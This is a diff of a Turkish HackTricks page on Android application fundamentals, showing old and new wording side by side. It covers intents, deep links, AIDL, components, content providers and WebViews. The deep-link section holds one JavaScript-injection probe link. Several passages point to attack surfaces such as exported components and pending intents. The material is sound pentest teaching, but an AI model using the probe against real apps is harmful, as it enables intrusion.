Android geliştirmede, **Java veya Kotlin** uygulama oluşturmak için kullanılır. Masaüstü uygulamalarındaki gibi JVM kullanmak yerine, Android bu kodu **Dalvik Executable (DEX) bytecode**'a derler. Daha önce, Dalvik sanal makinesi bu bytecode'u yönetiyordu, ancak şimdi, daha yeni Android sürümlerinde Android Runtime (ART) devralmaktadır. Android geliştirmede, **Java veya Kotlin** uygulama oluşturmak için kullanılır. Masaüstü uygulamalarındaki gibi JVM kullanmak yerine, Android bu kodu **Dalvik Executable (DEX) bytecode**'a derler. Daha önce, Dalvik sanal makinesi bu bytecode'u yönetiyordu, ancak şimdi, daha yeni Android sürümlerinde Android Runtime (ART) devralıyor.
Tersine mühendislik için, **Smali** kritik hale gelir. DEX bytecode'un insan tarafından okunabilir versiyonudur, kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve ayrıştırma araçlarını ifade eder. Tersine mühendislik için, **Smali** kritik hale gelir. DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi çalışır. Smali ve baksmali, bu bağlamda montaj ve ayrıştırma araçlarını ifade eder.
## Niyetler ## Niyetler
Niyetler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın birincil yoludur. Bu mesaj nesneleri, uygulamalar veya bileşenler arasında veri taşıyabilir, HTTP iletişimlerinde GET/POST isteklerinin nasıl kullanıldığına benzer. Niyetler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın birincil yoludur. Bu mesaj nesneleri, uygulamalar veya bileşenler arasında veri taşıyabilir; HTTP iletişimlerinde GET/POST isteklerinin nasıl kullanıldığına benzer.
Yani bir Niyet, temelde **bileşenler arasında iletilen bir mesajdır**. Niyetler **belirli bileşenlere veya uygulamalara yönlendirilebilir** veya **belirli bir alıcı olmadan gönderilebilir**.\ Yani bir Niyet, temelde **bileşenler arasında iletilen bir mesajdır**. Niyetler **belirli bileşenlere veya uygulamalara yönlendirilebilir** veya **belirli bir alıcı olmadan gönderilebilir**.\
Basitçe, Niyet şu amaçlarla kullanılabilir: Basitçe, Niyet şu amaçlarla kullanılabilir:
@ -136,13 +128,13 @@ Eğer savunmasızsa, **Niyetler çeşitli saldırılar gerçekleştirmek için k
### Niyet-Filtre ### Niyet-Filtre
**Niyet Filtreleri**, **bir aktivite, hizmet veya Yayın Alıcısının farklı türdeki Niyetlerle nasıl etkileşimde bulunabileceğini tanımlar**. Temelde, bu bileşenlerin hangi eylemleri gerçekleştirebileceği veya hangi tür yayınları işleyebileceği gibi yeteneklerini tanımlar. Bu filtreleri tanımlamanın birincil yeri **AndroidManifest.xml dosyasıdır**, ancak Yayın Alıcıları için kodlama da bir seçenektir. **Niyet Filtreleri**, **bir aktivite, hizmet veya Yayın Alıcısının farklı türdeki Niyetlerle nasıl etkileşimde bulunabileceğini tanımlar**. Temelde, bu bileşenlerin hangi eylemleri gerçekleştirebileceği veya hangi tür yayınları işleyebileceği gibi yeteneklerini tanımlar. Bu filtreleri beyan etmenin birincil yeri **AndroidManifest.xml dosyasıdır**, ancak Yayın Alıcıları için kodlamak da bir seçenektir.
Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin belirtilen kriterlere uyan belirli Niyetleri işleyebilmesini sağlar. Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin beyan edilen kriterlere uyan belirli Niyetleri işleyebilmesini sağlar.
Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutma seçeneği vardır, böylece diğer uygulamalarla istemeden etkileşime girmemelerini sağlar. Bu, **manifest tanımlarında `exported`** özniteliğini **`false`** olarak ayarlayarak gerçekleştirilir. Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutmak için açıkça ayarlama imkanı vardır; bu, **`exported`** özniteliğini **`false`** olarak ayarlayarak sağlanır.
Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına almak için belirli izinler talep etme seçeneği vardır. **`permission`** özniteliği, yalnızca belirlenen izne sahip uygulamaların bileşene erişebileceğini zorunlu kılacak şekilde ayarlanabilir ve bu, kimlerin etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler. Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına almak için belirli izinler talep etme seçeneği vardır. **`permission`** özniteliği, yalnızca belirlenen izne sahip uygulamaların bileşene erişebilmesini sağlamak için ayarlanabilir ve bu, kimlerin etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler.
```java ```java
<activity android:name=".MyActivity" android:exported="false"> <activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here --> <!-- Intent filters go here -->
@ -167,9 +159,9 @@ Bu intent, aşağıdaki örnekte olduğu gibi manifest içinde tanımlanmalıdı
``` ```
Bir intent-filter'ın bir mesajı alabilmesi için **action**, **data** ve **category** ile eşleşmesi gerekir. Bir intent-filter'ın bir mesajı alabilmesi için **action**, **data** ve **category** ile eşleşmesi gerekir.
"Intent çözümleme" süreci, her mesajın hangi uygulama tarafından alınacağını belirler. Bu süreç, i**ntent-filter bildirimi**nde ayarlanabilen **öncelik niteliğini** dikkate alır ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Eğer bir **çelişki** ortaya çıkarsa, **kullanıcının karar verebilmesi için** bir "seçici" Penceresi görünür. "Intent çözümleme" süreci, her mesajın hangi uygulama tarafından alınacağını belirler. Bu süreç, i**ntent-filter bildirimi**nde ayarlanabilen **öncelik niteliğini** dikkate alır ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Eğer bir **çatışma** ortaya çıkarsa, **kullanıcının karar verebilmesi için** bir "seçici" Penceresi görünür.
### Açık İntentler ### Açık Intents
ık bir intent, hedef aldığı sınıf adını belirtir: ık bir intent, hedef aldığı sınıf adını belirtir:
```java ```java
@ -183,7 +175,7 @@ context.startService(intent);
``` ```
### Pending Intents ### Pending Intents
Bunlar diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** olanak tanır, uygulamanızın kimliği ve izinlerini kullanarak. Bir Pending Intent oluştururken **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **belirtilen intent Açık değilse** (hangi intent'in bunu çağırabileceğini belirtmiyorsa) **kötü niyetli bir uygulama, belirtilen eylemi** mağdur uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmezse**, kötü niyetli uygulama **mağdur adına herhangi bir eylem gerçekleştirebilir**. Bunlar diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** izin verir, uygulamanızın kimliğini ve izinlerini kullanarak. Bir Pending Intent oluştururken **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **belirtilen intent Açık değilse** (hangi intent'in bunu çağırabileceğini belirtmiyorsa) **kötü niyetli bir uygulama, belirtilen eylemi** mağdur uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama **mağdur adına herhangi bir eylem gerçekleştirebilir**.
### Broadcast Intents ### Broadcast Intents
@ -199,8 +191,8 @@ Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** fonksiyonunu kullan
### Sticky Broadcasts ### Sticky Broadcasts
Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\ Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\
Bunlar API seviye 21'de kullanımdan kaldırıldı ve **kullanılmamaları önerilir**.\ Bunlar API seviyesi 21'de kullanımdan kaldırıldı ve **kullanılmamaları önerilir**.\
**Herhangi bir uygulamanın verileri dinlemesine, aynı zamanda değiştirmesine olanak tanır.** **Herhangi bir uygulamanın verileri dinlemesine, aynı zamanda bunları değiştirmesine izin verir.**
"sticky" kelimesini içeren fonksiyonlar bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve kaldırmaya çalışın**. "sticky" kelimesini içeren fonksiyonlar bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve kaldırmaya çalışın**.
@ -208,7 +200,7 @@ Bunlar API seviye 21'de kullanımdan kaldırıldı ve **kullanılmamaları öner
Android uygulamalarında, **deep links** bir eylemi (Intent) doğrudan bir URL aracılığıyla başlatmak için kullanılır. Bu, bir aktivite içinde belirli bir **URL şeması** tanımlanarak yapılır. Bir Android cihazı bu şemaya sahip bir **URL'ye erişmeye çalıştığında**, uygulama içindeki belirtilen aktivite başlatılır. Android uygulamalarında, **deep links** bir eylemi (Intent) doğrudan bir URL aracılığıyla başlatmak için kullanılır. Bu, bir aktivite içinde belirli bir **URL şeması** tanımlanarak yapılır. Bir Android cihazı bu şemaya sahip bir **URL'ye erişmeye çalıştığında**, uygulama içindeki belirtilen aktivite başlatılır.
Şema, **`AndroidManifest.xml`** dosyasında tanımlanmalıdır: Şema, **`AndroidManifest.xml`** dosyasında belirtilmelidir:
```xml ```xml
[...] [...]
<activity android:name=".MyActivity"> <activity android:name=".MyActivity">
@ -233,31 +225,31 @@ Web'den erişmek için şu şekilde bir bağlantı ayarlamak mümkündür:
<a href="examplescheme://example/something">click here</a> <a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a> <a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
``` ```
**Uygulamada çalıştırılacak kodu bulmak için**, derin bağlantı ile çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın. **Uygulamada çalıştırılacak kodu bulmak için**, deeplink ile çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
HTML sayfaları kullanmadan [derin bağlantıları nasıl çağıracağınızı öğrenin](./#exploiting-schemes-deep-links). HTML sayfaları kullanmadan [derin bağlantıları nasıl çağıracağınızı öğrenin](./#exploiting-schemes-deep-links).
## AIDL - Android Arayüz Tanım Dili ## AIDL - Android Arayüz Tanım Dili
**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında **işlem arası iletişim** (IPC) yoluyla istemci ve hizmet arasında iletişimi kolaylaştırmak için tasarlanmıştır. Android'de başka bir işlemin belleğine doğrudan erişim izni verilmediğinden, AIDL, nesneleri işletim sistemi tarafından anlaşılan bir formata marşallayarak süreci basitleştirir ve böylece farklı işlemler arasında iletişimi kolaylaştırır. **Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında **işlem arası iletişim** (IPC) yoluyla istemci ve hizmet arasındaki iletişimi kolaylaştırmak için tasarlanmıştır. Android'de başka bir işlemin belleğine doğrudan erişim izni verilmediğinden, AIDL, nesneleri işletim sistemi tarafından anlaşılan bir formata marşal ederek süreci basitleştirir ve farklı işlemler arasında iletişimi kolaylaştırır.
### Temel Kavramlar ### Temel Kavramlar
- **Bağlı Hizmetler**: Bu hizmetler IPC için AIDL kullanır, etkinliklerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıt almasını sağlar. Hizmetin sınıfındaki `onBind` metodu, etkileşimi başlatmak için kritik öneme sahiptir ve güvenlik incelemesi için zafiyet arayışında önemli bir alan olarak işaretlenmelidir. - **Bağlı Hizmetler**: Bu hizmetler, IPC için AIDL kullanarak, aktivitelerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıt almasını sağlar. Hizmetin sınıfındaki `onBind` metodu, etkileşimi başlatmak için kritik öneme sahiptir ve güvenlik incelemesi için zafiyet arayışında önemli bir alan olarak işaretlenmelidir.
- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, `onBind` metodu aracılığıyla veri işleme odaklı IPC'yi kolaylaştırır. Bu metodun, herhangi bir güvensiz veri işleme veya hassas fonksiyonların yürütülmesi açısından dikkatlice incelenmesi önemlidir. - **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, `onBind` metodunu kullanarak veri işleme odaklı IPC'yi kolaylaştırır. Bu metodun, güvensiz veri işleme veya hassas fonksiyonların yürütülmesi açısından dikkatlice incelenmesi önemlidir.
- **Binder**: AIDL'nin soyutlaması nedeniyle Binder sınıfının doğrudan kullanımı daha az yaygındır, ancak Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek düzeyinde sürücü olduğunu anlamak faydalıdır. Daha fazla bilgi için [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresine başvurabilirsiniz. - **Binder**: Binder sınıfının doğrudan kullanımı, AIDL'nin soyutlaması nedeniyle daha az yaygındır, ancak Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek düzeyinde sürücü olduğunu anlamak faydalıdır. Daha fazla bilgi için [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresine başvurabilirsiniz.
## Bileşenler ## Bileşenler
Bunlar: **Etkinlikler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.** Bunlar: **Aktiviteler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.**
### Başlatıcı Etkinlik ve diğer etkinlikler ### Başlatıcı Aktivite ve diğer aktiviteler
Android uygulamalarında, **etkinlikler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulama birçok etkinliğe sahip olabilir, her biri kullanıcıya benzersiz bir ekran sunar. Android uygulamalarında, **aktiviteler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulama birçok aktiviteye sahip olabilir, her biri kullanıcıya benzersiz bir ekran sunar.
**Başlatıcı etkinlik**, bir uygulamanın simgesine dokunduğunuzda başlatılan uygulamanın ana kapısıdır. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER niyetleri ile tanımlanmıştır: **Başlatıcı aktivite**, bir uygulamanın ana kapısıdır ve uygulamanın simgesine dokunduğunuzda başlatılır. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER intentleri ile tanımlanmıştır:
```markup ```markup
<activity android:name=".LauncherActivity"> <activity android:name=".LauncherActivity">
<intent-filter> <intent-filter>
@ -266,7 +258,7 @@ Android uygulamalarında, **etkinlikler** ekranlar gibidir ve uygulamanın kulla
</intent-filter> </intent-filter>
</activity> </activity>
``` ```
Tüm uygulamaların bir başlatıcı aktiviteye ihtiyacı yoktur, özellikle de kullanıcı arayüzü olmayanlar, arka plan hizmetleri gibi. Tüm uygulamaların bir başlatıcı aktiviteye ihtiyacı yoktur, özellikle kullanıcı arayüzü olmayanlar, arka plan hizmetleri gibi.
Aktiviteler, manifestoda "exported" olarak işaretlenerek diğer uygulamalara veya süreçlere sunulabilir. Bu ayar, diğer uygulamaların bu aktiviteyi başlatmasına izin verir: Aktiviteler, manifestoda "exported" olarak işaretlenerek diğer uygulamalara veya süreçlere sunulabilir. Bu ayar, diğer uygulamaların bu aktiviteyi başlatmasına izin verir:
```markdown ```markdown
@ -296,11 +288,11 @@ super.onCreate();
``` ```
### Services ### Services
[Services](https://developer.android.com/guide/components/services) **arka plan operatifleri** olarak, kullanıcı arayüzü olmadan görevleri yerine getirebilen yapılardır. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da hizmetleri **uzun süreli işlemler** için kritik hale getirir. [Services](https://developer.android.com/guide/components/services) **arka plan operatifleri** olarak, kullanıcı arayüzü olmadan görevleri yerine getirebilen yapılardır. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da servisleri **uzun süreli işlemler** için kritik hale getirir.
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler, **Intents** bunları bir uygulamanın giriş noktası olarak başlatmanın birincil yöntemidir. Bir hizmet `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri geçişi için `onBind` yöntemi devreye girer. Servisler çok yönlüdür; çeşitli şekillerde başlatılabilirler, **Intents** bunları bir uygulamanın giriş noktası olarak başlatmanın birincil yöntemidir. Bir servis `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir servisin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi servise bağlamak için `bindService` yöntemi kullanılır ve veri geçişi için `onBind` yöntemi devreye girer.
Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya kullanıcıların bir uygulama ile etkileşimini engellemeden ağ verisi alma gibi durumları içerir. Ayrıca, hizmetler **dışa aktarma** yoluyla aynı cihazdaki diğer süreçlere erişilebilir hale getirilebilir. Bu varsayılan bir davranış değildir ve Android Manifest dosyasında açık bir yapılandırma gerektirir: Servislerin ilginç bir uygulaması, arka planda müzik çalma veya kullanıcıların bir uygulama ile etkileşimini engellemeden ağ verisi alma gibi işlemlerdir. Ayrıca, servisler **dışa aktarma** yoluyla aynı cihazdaki diğer süreçlere erişilebilir hale getirilebilir. Bu varsayılan bir davranış değildir ve Android Manifest dosyasında açık bir yapılandırma gerektirir:
```xml ```xml
<service android:name=".ExampleExportedService" android:exported="true"/> <service android:name=".ExampleExportedService" android:exported="true"/>
``` ```
@ -316,11 +308,11 @@ Bir alıcının işlevselliğini anlamak için, sınıfı içinde **`onReceive`*
### Content Provider ### Content Provider
**Content Providers**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için gereklidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamalara, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan verilere erişim sağlar. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir ve `path`, `pathPrefix` ve `pathPattern` gibi nitelikler kullanılarak ayrıntılı erişim kontrolü yapılabilir. **Content Providers**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için gereklidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamalara veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan verilere erişim sağlar. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir ve `path`, `pathPrefix` ve `pathPattern` gibi nitelikler kullanılarak ayrıntılı erişim kontrolü yapılabilir.
Girdi doğrulaması, SQL enjeksiyonu gibi güvenlik açıklarını önlemek için son derece önemlidir. Content Providers, veri manipülasyonu ve uygulamalar arasında paylaşımı kolaylaştıran temel işlemleri destekler: `insert()`, `update()`, `delete()`, ve `query()`. Girdi doğrulaması, SQL enjeksiyonu gibi güvenlik açıklarını önlemek için son derece önemlidir. Content Providers, veri manipülasyonu ve uygulamalar arasında paylaşımı kolaylaştıran temel işlemleri destekler: `insert()`, `update()`, `delete()`, ve `query()`.
**FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir Content Provider'dır. Erişimi kontrol etmek için belirli niteliklerle uygulamanın manifestinde tanımlanır; bu nitelikler `android:exported` ve klasör yapılandırmalarını gösteren `android:resource` ile belirtilir. Duyarlı verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunması önerilir. **FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir Content Provider'dır. Erişimi kontrol etmek için belirli niteliklerle uygulamanın manifestinde tanımlanır ve klasör yapılandırmalarını gösteren `android:exported` ve `android:resource` ile belirtilir. Duyarlı verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunmalıdır.
FileProvider için örnek manifest bildirimi: FileProvider için örnek manifest bildirimi:
```xml ```xml
@ -344,7 +336,7 @@ For further information check:
## WebViews ## WebViews
WebView'ler, Android uygulamaları içinde **mini web tarayıcıları** gibidir, içerikleri ya web'den ya da yerel dosyalardan çeker. Normal tarayıcılarla benzer risklerle karşılaşırlar, ancak belirli **ayarlar** ile bu **riskleri azaltmanın** yolları vardır. WebViews, Android uygulamaları içinde **mini web tarayıcıları** gibidir, içerikleri ya webden ya da yerel dosyalardan çeker. Normal tarayıcılarla benzer risklerle karşılaşırlar, ancak belirli **ayarlar** ile bu **riskleri azaltmanın** yolları vardır.
Android, iki ana WebView türü sunar: Android, iki ana WebView türü sunar:
@ -355,26 +347,26 @@ Android, iki ana WebView türü sunar:
İçerik yüklemek için ````loadUrl````, ````loadData````, ve ````loadDataWithBaseURL```` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **kullanım için güvenli** olduğundan emin olmak kritik öneme sahiptir. Güvenlik ayarları, ````WebSettings```` sınıfı aracılığıyla yönetilebilir. Örneğin, JavaScript'i ````setJavaScriptEnabled(false)```` ile devre dışı bırakmak, XSS saldırılarını önleyebilir. İçerik yüklemek için ````loadUrl````, ````loadData````, ve ````loadDataWithBaseURL```` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **kullanım için güvenli** olduğundan emin olmak kritik öneme sahiptir. Güvenlik ayarları, ````WebSettings```` sınıfı aracılığıyla yönetilebilir. Örneğin, JavaScript'i ````setJavaScriptEnabled(false)```` ile devre dışı bırakmak, XSS saldırılarını önleyebilir.
JavaScript "Köprüsü", Java nesnelerinin JavaScript ile etkileşimde bulunmasına olanak tanır ve Android 4.2'den itibaren güvenlik için yöntemlerin ````@JavascriptInterface```` ile işaretlenmesi gerekmektedir. JavaScript "Bridge", Java nesnelerinin JavaScript ile etkileşimde bulunmasına olanak tanır ve Android 4.2'den itibaren güvenlik için yöntemlerin ````@JavascriptInterface```` ile işaretlenmesi gerekir.
İçerik erişimine izin vermek (````setAllowContentAccess(true)````), WebView'lerin İçerik Sağlayıcılarına ulaşmasına olanak tanır, bu da içerik URL'leri güvenli olarak doğrulanmadıkça bir risk oluşturabilir. İçerik erişimine izin vermek (````setAllowContentAccess(true)````), WebView'ların İçerik Sağlayıcılarına ulaşmasına olanak tanır, bu da içerik URL'leri güvenli olarak doğrulanmadıkça bir risk oluşturabilir.
Dosya erişimini kontrol etmek için: Dosya erişimini kontrol etmek için:
- Dosya erişimini devre dışı bırakmak (````setAllowFileAccess(false)````), dosya sistemine erişimi sınırlar, belirli varlıklar için istisnalarla, bunların yalnızca hassas olmayan içerikler için kullanılmasını sağlar. - Dosya erişimini devre dışı bırakmak (````setAllowFileAccess(false)````), dosya sistemine erişimi sınırlar, belirli varlıklar için istisnalarla, bunların yalnızca hassas olmayan içerikler için kullanılmasını sağlar.
## Diğer Uygulama Bileşenleri ve Mobil Cihaz Yönetimi ## Other App Components and Mobile Device Management
### **Uygulamaların Dijital İmzalanması** ### **Digital Signing of Applications**
- **Dijital imzalama**, Android uygulamaları için zorunludur, uygulamaların kurulumdan önce **gerçekten yazıldığı** garantisini sağlar. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendinden imzalı veya harici bir CA tarafından sertifikalandırılmış** olabilir, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihazın teslimatı sırasında değiştirilmediğini garanti eder. - **Dijital imza**, Android uygulamaları için zorunludur, uygulamaların yüklemeden önce **gerçekten yazıldığı** garantisini sağlar. Bu süreç, uygulama kimliği için bir sertifika kullanır ve yükleme sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendinden imzalı veya harici bir CA tarafından sertifikalandırılmış** olabilir, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslimatı sırasında değiştirilmediğini garanti eder.
### **Geliştirilmiş Güvenlik için Uygulama Doğrulaması** ### **App Verification for Enhanced Security**
- **Android 4.2**'den itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaların kurulumdan önce güvenliğini kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar hakkında uyarabilir veya özellikle kötü niyetli olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır. - **Android 4.2**'den itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların yüklemeden önce uygulamaların güvenliğini kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar hakkında uyarabilir veya özellikle kötü niyetli olanların yüklenmesini engelleyebilir, kullanıcı güvenliğini artırır.
### **Mobil Cihaz Yönetimi (MDM)** ### **Mobile Device Management (MDM)**
- **MDM çözümleri**, **Cihaz Yönetimi API'si** aracılığıyla mobil cihazlar için **denetim ve güvenlik** sağlar. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının kurulmasını gerektirir. Ana işlevler arasında **şifre politikalarının uygulanması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silme izni verme** bulunur, bu da mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar. - **MDM çözümleri**, **Cihaz Yönetimi API'si** aracılığıyla mobil cihazlar için **denetim ve güvenlik** sağlar. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının yüklenmesini gerektirir. Ana işlevler arasında **şifre politikalarını uygulamak**, **depolama şifrelemesini zorunlu kılmak** ve **uzaktan veri silme izni vermek** bulunur, bu da mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
```java ```java
// Example of enforcing a password policy with MDM // Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -385,12 +377,6 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8); dpm.setPasswordMinimumLength(adminComponent, 8);
} }
``` ```
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -400,8 +386,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,50 +1,42 @@
# Android Task Hijacking # Android Task Hijacking
